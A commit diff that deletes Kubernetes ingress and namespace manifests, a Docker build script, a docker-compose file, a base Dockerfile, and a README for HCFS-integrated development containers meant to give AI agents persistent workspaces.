app.kubernetes.io/name: slurp-distributor
app.kubernetes.io/component: pdb
spec:
minAvailable: 2
selector:
matchLabels:
app.kubernetes.io/name: slurp-distributor
app.kubernetes.io/instance: slurp-distributor

265
deployments/kubernetes/ingress.yaml
View File

@@ -1,265 +0,0 @@
# BZZZ SLURP Ingress Configuration
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: slurp-ingress
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: bzzz-slurp
app.kubernetes.io/component: ingress
annotations:
kubernetes.io/ingress.class: "nginx"
cert-manager.io/cluster-issuer: "letsencrypt-prod"
nginx.ingress.kubernetes.io/ssl-redirect: "true"
nginx.ingress.kubernetes.io/force-ssl-redirect: "true"
nginx.ingress.kubernetes.io/backend-protocol: "HTTP"
# Rate limiting
nginx.ingress.kubernetes.io/rate-limit-requests-per-second: "100"
nginx.ingress.kubernetes.io/rate-limit-window-size: "1m"
# Connection limits
nginx.ingress.kubernetes.io/limit-connections: "20"
# Request size limits
nginx.ingress.kubernetes.io/proxy-body-size: "100m"
# Timeouts
nginx.ingress.kubernetes.io/proxy-connect-timeout: "30"
nginx.ingress.kubernetes.io/proxy-send-timeout: "300"
nginx.ingress.kubernetes.io/proxy-read-timeout: "300"
# CORS
nginx.ingress.kubernetes.io/enable-cors: "true"
nginx.ingress.kubernetes.io/cors-allow-origin: "https://admin.bzzz.local, https://dashboard.bzzz.local"
nginx.ingress.kubernetes.io/cors-allow-methods: "GET, POST, PUT, DELETE, OPTIONS"
nginx.ingress.kubernetes.io/cors-allow-headers: "DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization"
# Security headers
nginx.ingress.kubernetes.io/configuration-snippet: |
more_set_headers "X-Frame-Options: DENY";
more_set_headers "X-Content-Type-Options: nosniff";
more_set_headers "X-XSS-Protection: 1; mode=block";
more_set_headers "Strict-Transport-Security: max-age=31536000; includeSubDomains";
more_set_headers "Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'";
# Load balancing
nginx.ingress.kubernetes.io/upstream-hash-by: "$remote_addr"
nginx.ingress.kubernetes.io/load-balance: "round_robin"
# Health checks
nginx.ingress.kubernetes.io/health-check-path: "/health"
nginx.ingress.kubernetes.io/health-check-timeout: "10s"
# Monitoring
nginx.ingress.kubernetes.io/enable-access-log: "true"
nginx.ingress.kubernetes.io/enable-rewrite-log: "true"
spec:
tls:
- hosts:
- api.slurp.bzzz.local
- coordinator.slurp.bzzz.local
- distributor.slurp.bzzz.local
- monitoring.slurp.bzzz.local
secretName: slurp-tls-cert
rules:
# Main API Gateway
- host: api.slurp.bzzz.local
http:
paths:
- path: /coordinator
pathType: Prefix
backend:
service:
name: slurp-coordinator
port:
number: 8080
- path: /distributor
pathType: Prefix
backend:
service:
name: slurp-distributor
port:
number: 8080
- path: /health
pathType: Exact
backend:
service:
name: slurp-coordinator
port:
number: 8080
- path: /metrics
pathType: Exact
backend:
service:
name: slurp-coordinator
port:
number: 9090
# Coordinator Service
- host: coordinator.slurp.bzzz.local
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: slurp-coordinator
port:
number: 8080
# Distributor Service (read-only access)
- host: distributor.slurp.bzzz.local
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: slurp-distributor
port:
number: 8080
# Monitoring Dashboard
- host: monitoring.slurp.bzzz.local
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: slurp-coordinator
port:
number: 8080
---
# Internal Ingress for cluster communication
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: slurp-internal-ingress
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: bzzz-slurp
app.kubernetes.io/component: internal-ingress
annotations:
kubernetes.io/ingress.class: "nginx-internal"
nginx.ingress.kubernetes.io/ssl-redirect: "false"
nginx.ingress.kubernetes.io/backend-protocol: "HTTP"
# Internal network only
nginx.ingress.kubernetes.io/whitelist-source-range: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
# Higher limits for internal communication
nginx.ingress.kubernetes.io/rate-limit-requests-per-second: "1000"
nginx.ingress.kubernetes.io/limit-connections: "100"
nginx.ingress.kubernetes.io/proxy-body-size: "1g"
# Optimized for internal communication
nginx.ingress.kubernetes.io/proxy-buffering: "on"
nginx.ingress.kubernetes.io/proxy-buffer-size: "128k"
nginx.ingress.kubernetes.io/proxy-buffers: "4 256k"
nginx.ingress.kubernetes.io/proxy-busy-buffers-size: "256k"
spec:
rules:
# Internal API for service-to-service communication
- host: internal.slurp.bzzz.local
http:
paths:
- path: /api/v1/coordinator
pathType: Prefix
backend:
service:
name: slurp-coordinator
port:
number: 8080
- path: /api/v1/distributor
pathType: Prefix
backend:
service:
name: slurp-distributor
port:
number: 8080
- path: /metrics
pathType: Prefix
backend:
service:
name: slurp-coordinator
port:
number: 9090
---
# TCP Ingress for DHT P2P Communication (if using TCP ingress controller)
apiVersion: v1
kind: ConfigMap
metadata:
name: tcp-services
namespace: ingress-nginx
labels:
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/component: controller
data:
# Map external port to internal service
11434: "bzzz-slurp/slurp-distributor-p2p:11434"
---
# Certificate for TLS
apiVersion: cert-manager.io/v1
kind: Certificate
metadata:
name: slurp-tls-cert
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: bzzz-slurp
app.kubernetes.io/component: certificate
spec:
secretName: slurp-tls-cert
issuerRef:
name: letsencrypt-prod
kind: ClusterIssuer
commonName: api.slurp.bzzz.local
dnsNames:
- api.slurp.bzzz.local
- coordinator.slurp.bzzz.local
- distributor.slurp.bzzz.local
- monitoring.slurp.bzzz.local
---
# Network Policy for Ingress
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: slurp-ingress-policy
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: bzzz-slurp
app.kubernetes.io/component: network-policy
spec:
podSelector:
matchLabels:
app.kubernetes.io/part-of: bzzz-slurp
policyTypes:
- Ingress
ingress:
# Allow ingress controller
- from:
- namespaceSelector:
matchLabels:
name: ingress-nginx
# Allow monitoring namespace
- from:
- namespaceSelector:
matchLabels:
name: monitoring
# Allow same namespace
- from:
- namespaceSelector:
matchLabels:
name: bzzz-slurp
ports:
- protocol: TCP
port: 8080
- protocol: TCP
port: 9090
- protocol: TCP
port: 11434

92
deployments/kubernetes/namespace.yaml
View File

@@ -1,92 +0,0 @@
# BZZZ SLURP Namespace Configuration
apiVersion: v1
kind: Namespace
metadata:
name: bzzz-slurp
labels:
name: bzzz-slurp
app.kubernetes.io/name: bzzz-slurp
app.kubernetes.io/component: namespace
app.kubernetes.io/part-of: bzzz-cluster
app.kubernetes.io/version: "1.0.0"
environment: production
team: devops
annotations:
description: "BZZZ SLURP Distributed Context Distribution System"
contact: "devops@bzzz.local"
documentation: "https://docs.bzzz.local/slurp"
---
# Resource Quotas
apiVersion: v1
kind: ResourceQuota
metadata:
name: bzzz-slurp-quota
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: bzzz-slurp
app.kubernetes.io/component: resource-quota
spec:
hard:
requests.cpu: "20"
requests.memory: 40Gi
limits.cpu: "40"
limits.memory: 80Gi
requests.storage: 500Gi
persistentvolumeclaims: "20"
pods: "50"
services: "20"
secrets: "20"
configmaps: "20"
---
# Network Policy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: bzzz-slurp-network-policy
namespace: bzzz-slurp
labels:
app.kubernetes.io/name: bzzz-slurp
app.kubernetes.io/component: network-policy
spec:
podSelector: {}
policyTypes:
- Ingress
- Egress
ingress:
- from:
- namespaceSelector:
matchLabels:
name: bzzz-slurp
- namespaceSelector:
matchLabels:
name: monitoring
- namespaceSelector:
matchLabels:
name: ingress-nginx
- ports:
- protocol: TCP
port: 8080 # HTTP API
- protocol: TCP
port: 9090 # Metrics
- protocol: TCP
port: 11434 # DHT P2P
egress:
- to:
- namespaceSelector:
matchLabels:
name: bzzz-slurp
- to:
- namespaceSelector:
matchLabels:
name: kube-system
- ports:
- protocol: TCP
port: 53
- protocol: UDP
port: 53
- protocol: TCP
port: 443
- protocol: TCP
port: 80

373
docker/README-HCFS-Integration.md
View File

@@ -1,373 +0,0 @@
# HCFS-Integrated Development Environment
This directory contains Docker configurations for creating HCFS-enabled development environments that provide AI agents with persistent, context-aware workspaces.
## 🎯 Overview
Instead of using temporary directories that are lost when containers stop, this system integrates with HCFS (Hierarchical Context File System) to provide:
- **Persistent Workspaces**: Agent work is stored in HCFS and survives container restarts
- **Context Sharing**: Multiple agents can access and build upon each other's work
- **Intelligent Artifact Collection**: Important files are automatically stored in HCFS
- **Role-Based Access**: Agents can access context relevant to their specialization
- **Feedback Learning**: The RL Context Curator learns from agent success/failure patterns
## 🏗️ Architecture
```
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ Bzzz Agents │ │ HCFS-Enabled │ │ HCFS Core │
│ │ │ Containers │ │ │
│ • CLI Agents │◄──►│ │◄──►│ • Context API │
│ • Ollama Models │ │ • Python Dev │ │ • RL Curator │
│ • Reasoning │ │ • Node.js Dev │ │ • Storage │
│ • Code Review │ │ • Go Dev │ │ • Search │
└─────────────────┘ │ • Generic Base │ └─────────────────┘
└─────────────────┘
```
## 🐳 Available Images
### Base Image: `bzzz-hcfs-base`
- Ubuntu 22.04 with HCFS integration
- Standard development tools (git, make, curl, etc.)
- HCFS workspace management scripts
- Agent user with proper permissions
- FUSE support for HCFS mounting
### Language-Specific Images:
#### `bzzz-hcfs-python`
- Python 3.10 with comprehensive ML/AI packages
- Jupyter Lab/Notebook support
- Popular frameworks: Flask, FastAPI, Django
- Data science stack: NumPy, Pandas, scikit-learn
- Deep learning: PyTorch, Transformers
- **Ports**: 8888 (Jupyter), 8000, 5000, 8080
#### `bzzz-hcfs-nodejs`
- Node.js 20 with modern JavaScript/TypeScript tools
- Package managers: npm, yarn
- Build tools: Webpack, Vite, Rollup
- Testing: Jest, Mocha, Cypress
- **Ports**: 3000, 8080, 8000, 9229 (debugger)
#### `bzzz-hcfs-go`
- Go 1.21 with standard development tools
- Popular frameworks: Gin, Echo, Fiber
- Development tools: Delve debugger, Air live reload
- **Ports**: 8080, 8000, 9000, 2345 (debugger)
## 🚀 Quick Start
### 1. Build the Images
```bash
cd /home/tony/AI/projects/Bzzz/docker
./build-hcfs-images.sh build
```
### 2. Start the HCFS Ecosystem
```bash
docker-compose -f docker-compose.hcfs.yml up -d
```
### 3. Access Development Environments
**Python Development:**
```bash
# Interactive shell
docker exec -it agent-python-dev bash
# Jupyter Lab
open http://localhost:8888
```
**Node.js Development:**
```bash
# Interactive shell
docker exec -it agent-nodejs-dev bash
# Start development server
docker exec -it agent-nodejs-dev npm run dev
```
**Go Development:**
```bash
# Interactive shell
docker exec -it agent-go-dev bash
# Build and run
docker exec -it agent-go-dev make build run
```
## 🔧 Configuration
### Environment Variables
**Required for HCFS Integration:**
- `AGENT_ID`: Unique identifier for the agent
- `TASK_ID`: Task identifier for workspace context
- `HCFS_API_URL`: HCFS API endpoint (default: http://host.docker.internal:8000)
- `HCFS_ENABLED`: Enable/disable HCFS integration (default: true)
**Optional:**
- `GIT_USER_NAME`: Git configuration
- `GIT_USER_EMAIL`: Git configuration
- `SETUP_PYTHON_VENV`: Create Python virtual environment
- `NODE_ENV`: Node.js environment mode
### HCFS Configuration
Each container includes `/etc/hcfs/hcfs-agent.yaml` with:
- API endpoints and timeouts
- Workspace settings
- Artifact collection patterns
- Security configurations
- Logging preferences
## 💾 Workspace Management
### Automatic Features
1. **Workspace Initialization**: Creates HCFS context for agent workspace
2. **Continuous Sync**: Background daemon syncs workspace state every 30 seconds
3. **Artifact Collection**: Automatically stores important files:
- Log files (*.log)
- Documentation (*.md, README*)
- Configuration (*.json, *.yaml)
- Build outputs (build/*, output/*)
- Results (results/*)
4. **Graceful Shutdown**: Collects final artifacts when container stops
### Manual Commands
```bash
# Sync current workspace state
/opt/hcfs/hcfs-workspace.sh sync
# Collect and store artifacts
/opt/hcfs/hcfs-workspace.sh collect
# Finalize workspace (run on completion)
/opt/hcfs/hcfs-workspace.sh finalize
# Check workspace status
/opt/hcfs/hcfs-workspace.sh status
```
## 🔄 Integration with Bzzz Agents
### Updated Sandbox Creation
The Bzzz sandbox system now supports HCFS workspaces:
```go
// Create HCFS-enabled sandbox
sandbox, err := CreateSandboxWithHCFS(ctx, taskImage, agentConfig, agentID, taskID)
// Check if using HCFS
if sandbox.IsUsingHCFS() {
workspace := sandbox.GetHCFSWorkspace()
fmt.Printf("Using HCFS workspace: %s\n", workspace.HCFSPath)
}
```
### Configuration in Bzzz
Add HCFS configuration to your Bzzz agent config:
```yaml
hcfs:
enabled: true
api_url: "http://localhost:8000"
mount_path: "/tmp/hcfs-workspaces"
store_artifacts: true
idle_cleanup_interval: "15m"
max_idle_time: "1h"
```
## 📊 Monitoring and Debugging
### Service Health Checks
```bash
# Check HCFS API
curl http://localhost:8000/health
# Check RL Tuner
curl http://localhost:8001/health
# View container logs
docker-compose -f docker-compose.hcfs.yml logs -f hcfs-api
```
### Workspace Status
```bash
# View workspace metadata
cat /home/agent/work/.hcfs-workspace
# Check sync daemon status
ps aux | grep hcfs-workspace
# View HCFS logs
tail -f /var/log/hcfs/workspace.log
```
## 🛠️ Development Workflows
### Python ML Development
```bash
# Start Python environment
docker exec -it agent-python-dev bash
# Create new project
cd /home/agent/work
python -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
# Start Jupyter for data exploration
jupyter lab --ip=0.0.0.0 --port=8888
# Artifacts automatically collected:
# - *.ipynb notebooks
# - model files in models/
# - results in output/
```
### Node.js Web Development
```bash
# Start Node.js environment
docker exec -it agent-nodejs-dev bash
# Initialize project
cd /home/agent/work
cp package.json.template package.json
npm install
# Start development server
npm run dev
# Artifacts automatically collected:
# - package*.json
# - build output in dist/
# - logs in logs/
```
### Go Microservices
```bash
# Start Go environment
docker exec -it agent-go-dev bash
# Initialize project
cd /home/agent/work
cp go.mod.template go.mod
cp main.go.template main.go
go mod tidy
# Build and run
make build
make run
# Artifacts automatically collected:
# - go.mod, go.sum
# - binary in bin/
# - test results
```
## 🔒 Security Considerations
### Container Security
- Agents run as non-root `agent` user
- Limited sudo access only for FUSE mounts
- Network restrictions block sensitive ports
- Read-only access to system directories
### HCFS Security
- Context access controlled by agent roles
- Workspace isolation between agents
- Artifact encryption (optional)
- Audit logging of all operations
## 🔄 Backup and Recovery
### Workspace Persistence
Agent workspaces are stored in named Docker volumes:
- `python-workspace`: Python development files
- `nodejs-workspace`: Node.js development files
- `go-workspace`: Go development files
### HCFS Data
Core HCFS data is stored in:
- `hcfs-data`: Main context database
- `hcfs-rl-data`: RL Context Curator data
### Backup Script
```bash
# Backup all workspace data
docker run --rm -v python-workspace:/data -v /backup:/backup alpine \
tar czf /backup/python-workspace-$(date +%Y%m%d).tar.gz -C /data .
```
## 🐛 Troubleshooting
### Common Issues
**HCFS API Not Available:**
```bash
# Check if HCFS container is running
docker ps | grep hcfs-api
# Check network connectivity
docker exec agent-python-dev curl -f http://hcfs-api:8000/health
```
**FUSE Mount Failures:**
```bash
# Check FUSE support
docker exec agent-python-dev ls -la /dev/fuse
# Check mount permissions
docker exec agent-python-dev mount | grep fuse
```
**Workspace Sync Issues:**
```bash
# Restart sync daemon
docker exec agent-python-dev pkill -f hcfs-workspace
docker exec agent-python-dev /opt/hcfs/hcfs-workspace.sh daemon &
# Manual sync
docker exec agent-python-dev /opt/hcfs/hcfs-workspace.sh sync
```
### Log Locations
- HCFS API: `docker logs hcfs-api`
- Agent containers: `docker logs agent-python-dev`
- Workspace sync: `/var/log/hcfs/workspace.log` (inside container)
## 📚 Additional Resources
- [HCFS Documentation](../HCFS/README.md)
- [Bzzz Agent Configuration](../README.md)
- [RL Context Curator Guide](../HCFS/integration_tests/README.md)
- [Docker Compose Reference](https://docs.docker.com/compose/)
## 🎯 Next Steps
1. **Deploy to Production**: Use Docker Swarm or Kubernetes
2. **Scale Horizontally**: Add more agent instances
3. **Custom Images**: Create domain-specific development environments
4. **Monitoring**: Add Prometheus/Grafana for metrics
5. **CI/CD Integration**: Automate testing and deployment

358
docker/build-hcfs-images.sh
View File

@@ -1,358 +0,0 @@
#!/bin/bash
set -euo pipefail
# HCFS Docker Images Build Script
# Builds all HCFS-enabled development environment containers
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(dirname "$SCRIPT_DIR")"
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
# Configuration
REGISTRY="${DOCKER_REGISTRY:-registry.home.deepblack.cloud}"
NAMESPACE="${DOCKER_NAMESPACE:-tony}"
VERSION="${VERSION:-latest}"
BUILD_PARALLEL="${BUILD_PARALLEL:-false}"
# Logging functions
log() {
echo -e "${BLUE}[$(date +'%Y-%m-%d %H:%M:%S')]${NC} $1"
}
success() {
echo -e "${GREEN}[SUCCESS]${NC} $1"
}
warning() {
echo -e "${YELLOW}[WARNING]${NC} $1"
}
error() {
echo -e "${RED}[ERROR]${NC} $1" >&2
}
# Function to build a single image
build_image() {
local image_name="$1"
local dockerfile_dir="$2"
local build_args="$3"
log "Building image: $image_name"
local full_image_name="$REGISTRY/$NAMESPACE/$image_name:$VERSION"
local build_cmd="docker build"
# Add build arguments if provided
if [ -n "$build_args" ]; then
build_cmd="$build_cmd $build_args"
fi
# Add tags
build_cmd="$build_cmd -t $image_name:$VERSION -t $image_name:latest"
build_cmd="$build_cmd -t $full_image_name"
# Add dockerfile directory
build_cmd="$build_cmd $dockerfile_dir"
if eval $build_cmd; then
success "Built image: $image_name"
return 0
else
error "Failed to build image: $image_name"
return 1
fi
}
# Function to prepare HCFS SDK files
prepare_hcfs_sdks() {
log "Preparing HCFS SDK files..."
local sdk_dir="$SCRIPT_DIR/sdks"
mkdir -p "$sdk_dir"
# Copy Python SDK
if [ -d "$PROJECT_ROOT/../HCFS/hcfs-python" ]; then
cp -r "$PROJECT_ROOT/../HCFS/hcfs-python" "$sdk_dir/hcfs-python-sdk"
success "Copied Python HCFS SDK"
else
warning "Python HCFS SDK not found, creating minimal version"
mkdir -p "$sdk_dir/hcfs-python-sdk"
cat > "$sdk_dir/hcfs-python-sdk/setup.py" << 'EOF'
from setuptools import setup, find_packages
setup(
name="hcfs-sdk",
version="1.0.0",
packages=find_packages(),
install_requires=["httpx", "pydantic"],
)
EOF
mkdir -p "$sdk_dir/hcfs-python-sdk/hcfs"
echo "# HCFS Python SDK Placeholder" > "$sdk_dir/hcfs-python-sdk/hcfs/__init__.py"
fi
# Create Node.js SDK
mkdir -p "$sdk_dir/hcfs-nodejs-sdk"
cat > "$sdk_dir/hcfs-nodejs-sdk/package.json" << 'EOF'
{
"name": "@hcfs/sdk",
"version": "1.0.0",
"description": "HCFS Node.js SDK",
"main": "index.js",
"dependencies": {
"axios": "^1.0.0"
}
}
EOF
echo "module.exports = { HCFSClient: class HCFSClient {} };" > "$sdk_dir/hcfs-nodejs-sdk/index.js"
# Create Go SDK
mkdir -p "$sdk_dir/hcfs-go-sdk"
cat > "$sdk_dir/hcfs-go-sdk/go.mod" << 'EOF'
module github.com/hcfs/go-sdk
go 1.21
require (
github.com/go-resty/resty/v2 v2.7.0
)
EOF
cat > "$sdk_dir/hcfs-go-sdk/client.go" << 'EOF'
package client
import "github.com/go-resty/resty/v2"
type HCFSClient struct {
client *resty.Client
baseURL string
}
func NewHCFSClient(baseURL string) (*HCFSClient, error) {
return &HCFSClient{
client: resty.New(),
baseURL: baseURL,
}, nil
}
EOF
success "HCFS SDKs prepared"
}
# Function to copy scripts
prepare_scripts() {
log "Preparing build scripts..."
# Copy scripts to each image directory
for image_dir in "$SCRIPT_DIR"/hcfs-*; do
if [ -d "$image_dir" ]; then
mkdir -p "$image_dir/scripts"
mkdir -p "$image_dir/config"
mkdir -p "$image_dir/hcfs-client"
# Copy common scripts
cp "$SCRIPT_DIR/hcfs-base/scripts/"* "$image_dir/scripts/" 2>/dev/null || true
cp "$SCRIPT_DIR/hcfs-base/config/"* "$image_dir/config/" 2>/dev/null || true
# Copy HCFS client
cp -r "$SCRIPT_DIR/sdks/hcfs-python-sdk/"* "$image_dir/hcfs-client/" 2>/dev/null || true
fi
done
success "Scripts prepared"
}
# Function to validate prerequisites
validate_prerequisites() {
log "Validating prerequisites..."
# Check if Docker is available
if ! command -v docker &> /dev/null; then
error "Docker is not installed or not in PATH"
exit 1
fi
# Check if Docker daemon is running
if ! docker info &> /dev/null; then
error "Docker daemon is not running"
exit 1
fi
# Check if required directories exist
if [ ! -d "$SCRIPT_DIR/hcfs-base" ]; then
error "Base image directory not found: $SCRIPT_DIR/hcfs-base"
exit 1
fi
success "Prerequisites validated"
}
# Function to build all images
build_all_images() {
log "Building HCFS development environment images..."
local images=(
"bzzz-hcfs-base:$SCRIPT_DIR/hcfs-base:"
"bzzz-hcfs-python:$SCRIPT_DIR/hcfs-python:"
"bzzz-hcfs-nodejs:$SCRIPT_DIR/hcfs-nodejs:"
"bzzz-hcfs-go:$SCRIPT_DIR/hcfs-go:"
)
local failed_builds=()
if [ "$BUILD_PARALLEL" = "true" ]; then
log "Building images in parallel..."
local pids=()
for image_spec in "${images[@]}"; do
IFS=':' read -r image_name dockerfile_dir build_args <<< "$image_spec"
(build_image "$image_name" "$dockerfile_dir" "$build_args") &
pids+=($!)
done
# Wait for all builds to complete
for pid in "${pids[@]}"; do
if ! wait $pid; then
failed_builds+=("PID:$pid")
fi
done
else
log "Building images sequentially..."
for image_spec in "${images[@]}"; do
IFS=':' read -r image_name dockerfile_dir build_args <<< "$image_spec"
if ! build_image "$image_name" "$dockerfile_dir" "$build_args"; then
failed_builds+=("$image_name")
fi
done
fi
# Report results
if [ ${#failed_builds[@]} -eq 0 ]; then
success "All images built successfully!"
else
error "Failed to build images: ${failed_builds[*]}"
return 1
fi
}
# Function to push images to registry
push_images() {
log "Pushing images to registry: $REGISTRY"
local images=(
"bzzz-hcfs-base"
"bzzz-hcfs-python"
"bzzz-hcfs-nodejs"
"bzzz-hcfs-go"
)
for image in "${images[@]}"; do
local full_name="$REGISTRY/$NAMESPACE/$image:$VERSION"
log "Pushing $full_name..."
if docker push "$full_name"; then
success "Pushed $full_name"
else
warning "Failed to push $full_name"
fi
done
}
# Function to run tests
test_images() {
log "Testing built images..."
local images=(
"bzzz-hcfs-base"
"bzzz-hcfs-python"
"bzzz-hcfs-nodejs"
"bzzz-hcfs-go"
)
for image in "${images[@]}"; do
log "Testing $image..."
# Basic smoke test
if docker run --rm "$image:$VERSION" /bin/echo "Image $image test successful"; then
success "Test passed: $image"
else
warning "Test failed: $image"
fi
done
}
# Function to clean up
cleanup() {
log "Cleaning up temporary files..."
# Remove copied SDK files
rm -rf "$SCRIPT_DIR/sdks"
# Clean up dangling images
docker image prune -f &> /dev/null || true
success "Cleanup completed"
}
# Main execution
main() {
local command="${1:-build}"
case $command in
"build")
validate_prerequisites
prepare_hcfs_sdks
prepare_scripts
build_all_images
;;
"push")
push_images
;;
"test")
test_images
;;
"all")
validate_prerequisites
prepare_hcfs_sdks
prepare_scripts
build_all_images
test_images
push_images
;;
"clean")
cleanup
;;
"help"|*)
echo "HCFS Docker Images Build Script"
echo ""
echo "Usage: $0 {build|push|test|all|clean|help}"
echo ""
echo "Commands:"
echo " build - Build all HCFS development images"
echo " push - Push images to registry"
echo " test - Run smoke tests on built images"
echo " all - Build, test, and push images"
echo " clean - Clean up temporary files"
echo " help - Show this help message"
echo ""
echo "Environment Variables:"
echo " DOCKER_REGISTRY - Docker registry URL (default: registry.home.deepblack.cloud)"
echo " DOCKER_NAMESPACE - Docker namespace (default: tony)"
echo " VERSION - Image version tag (default: latest)"
echo " BUILD_PARALLEL - Build images in parallel (default: false)"
exit 0
;;
esac
}
# Set up signal handlers for cleanup
trap cleanup EXIT INT TERM
# Execute main function
main "$@"

247
docker/docker-compose.hcfs.yml
View File

@@ -1,247 +0,0 @@
# HCFS Development Ecosystem
# Complete Docker Compose setup for HCFS-enabled agent development
version: '3.8'
services:
# HCFS Core API Service
hcfs-api:
image: hcfs:latest
container_name: hcfs-api
ports:
- "8000:8000"
environment:
- HCFS_DATABASE_URL=sqlite:///data/hcfs.db
- HCFS_HOST=0.0.0.0
- HCFS_PORT=8000
- HCFS_LOG_LEVEL=info
volumes:
- hcfs-data:/data
- hcfs-logs:/logs
networks:
- hcfs-network
restart: unless-stopped
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:8000/health"]
interval: 30s
timeout: 10s
retries: 3
start_period: 40s
# HCFS RL Context Curator
hcfs-rl-tuner:
image: hcfs:latest
container_name: hcfs-rl-tuner
ports:
- "8001:8001"
environment:
- HCFS_API_URL=http://hcfs-api:8000
- RL_TUNER_HOST=0.0.0.0
- RL_TUNER_PORT=8001
volumes:
- hcfs-rl-data:/data
networks:
- hcfs-network
depends_on:
- hcfs-api
restart: unless-stopped
command: ["python", "-m", "hcfs.rl_curator.rl_tuner_service"]
# Python Development Agent
agent-python:
build:
context: ./hcfs-python
dockerfile: Dockerfile
container_name: agent-python-dev
ports:
- "8888:8888" # Jupyter
- "8080:8080" # Development server
environment:
- AGENT_ID=python-dev-agent
- TASK_ID=development-task
- HCFS_API_URL=http://hcfs-api:8000
- HCFS_ENABLED=true
- GIT_USER_NAME=HCFS Agent
- GIT_USER_EMAIL=agent@hcfs.local
volumes:
- python-workspace:/home/agent/work
- python-cache:/home/agent/.cache
networks:
- hcfs-network
depends_on:
- hcfs-api
stdin_open: true
tty: true
restart: unless-stopped
# Node.js Development Agent
agent-nodejs:
build:
context: ./hcfs-nodejs
dockerfile: Dockerfile
container_name: agent-nodejs-dev
ports:
- "3000:3000" # Node.js app
- "9229:9229" # Node.js debugger
environment:
- AGENT_ID=nodejs-dev-agent
- TASK_ID=development-task
- HCFS_API_URL=http://hcfs-api:8000
- HCFS_ENABLED=true
- NODE_ENV=development
volumes:
- nodejs-workspace:/home/agent/work
- nodejs-cache:/home/agent/.npm
networks:
- hcfs-network
depends_on:
- hcfs-api
stdin_open: true
tty: true
restart: unless-stopped
# Go Development Agent
agent-go:
build:
context: ./hcfs-go
dockerfile: Dockerfile
container_name: agent-go-dev
ports:
- "8090:8080" # Go web server
- "2345:2345" # Delve debugger
environment:
- AGENT_ID=go-dev-agent
- TASK_ID=development-task
- HCFS_API_URL=http://hcfs-api:8000
- HCFS_ENABLED=true
- CGO_ENABLED=1
volumes:
- go-workspace:/home/agent/work
- go-cache:/home/agent/.cache
networks:
- hcfs-network
depends_on:
- hcfs-api
stdin_open: true
tty: true
restart: unless-stopped
# Generic Development Agent (base image)
agent-generic:
build:
context: ./hcfs-base
dockerfile: Dockerfile
container_name: agent-generic-dev
ports:
- "8050:8080"
environment:
- AGENT_ID=generic-dev-agent
- TASK_ID=development-task
- HCFS_API_URL=http://hcfs-api:8000
- HCFS_ENABLED=true
volumes:
- generic-workspace:/home/agent/work
networks:
- hcfs-network
depends_on:
- hcfs-api
stdin_open: true
tty: true
restart: unless-stopped
# HCFS Management Dashboard (optional)
hcfs-dashboard:
image: nginx:alpine
container_name: hcfs-dashboard
ports:
- "8080:80"
volumes:
- ./dashboard:/usr/share/nginx/html:ro
networks:
- hcfs-network
depends_on:
- hcfs-api
restart: unless-stopped
# Development Database (PostgreSQL for advanced features)
postgres:
image: postgres:15-alpine
container_name: hcfs-postgres
environment:
- POSTGRES_DB=hcfs
- POSTGRES_USER=hcfs
- POSTGRES_PASSWORD=hcfs_password
volumes:
- postgres-data:/var/lib/postgresql/data
networks:
- hcfs-network
restart: unless-stopped
# Redis for caching and session management
redis:
image: redis:7-alpine
container_name: hcfs-redis
ports:
- "6379:6379"
volumes:
- redis-data:/data
networks:
- hcfs-network
restart: unless-stopped
# MinIO for object storage (artifact storage)
minio:
image: minio/minio:latest
container_name: hcfs-minio
ports:
- "9000:9000"
- "9001:9001"
environment:
- MINIO_ROOT_USER=minioadmin
- MINIO_ROOT_PASSWORD=minioadmin123
volumes:
- minio-data:/data
networks:
- hcfs-network
command: server /data --console-address ":9001"
restart: unless-stopped
networks:
hcfs-network:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/16
volumes:
# HCFS Core Data
hcfs-data:
driver: local
hcfs-logs:
driver: local
hcfs-rl-data:
driver: local
# Agent Workspaces (persistent across container restarts)
python-workspace:
driver: local
python-cache:
driver: local
nodejs-workspace:
driver: local
nodejs-cache:
driver: local
go-workspace:
driver: local
go-cache:
driver: local
generic-workspace:
driver: local
# Infrastructure Data
postgres-data:
driver: local
redis-data:
driver: local
minio-data:
driver: local

131
docker/hcfs-base/Dockerfile
View File

@@ -1,131 +0,0 @@
# HCFS Base Image - Production-ready environment with HCFS integration
FROM ubuntu:22.04
LABEL maintainer="anthony@deepblack.cloud"
LABEL description="HCFS-integrated base image for AI agent development environments"
LABEL version="1.0.0"
# Prevent interactive prompts during package installation
ENV DEBIAN_FRONTEND=noninteractive
ENV TERM=xterm-256color
# Set up standard environment
ENV HCFS_WORKSPACE_ROOT=/workspace
ENV HCFS_MOUNT_POINT=/mnt/hcfs
ENV HCFS_API_URL=http://host.docker.internal:8000
ENV HCFS_ENABLED=true
ENV PYTHONPATH=/usr/local/lib/python3.10/site-packages:$PYTHONPATH
# Create agent user for sandboxed execution
RUN groupadd -r agent && useradd -r -g agent -d /home/agent -s /bin/bash agent
# Install system dependencies
RUN apt-get update && apt-get install -y \
# Core system tools
curl \
wget \
git \
make \
build-essential \
software-properties-common \
gnupg2 \
lsb-release \
ca-certificates \
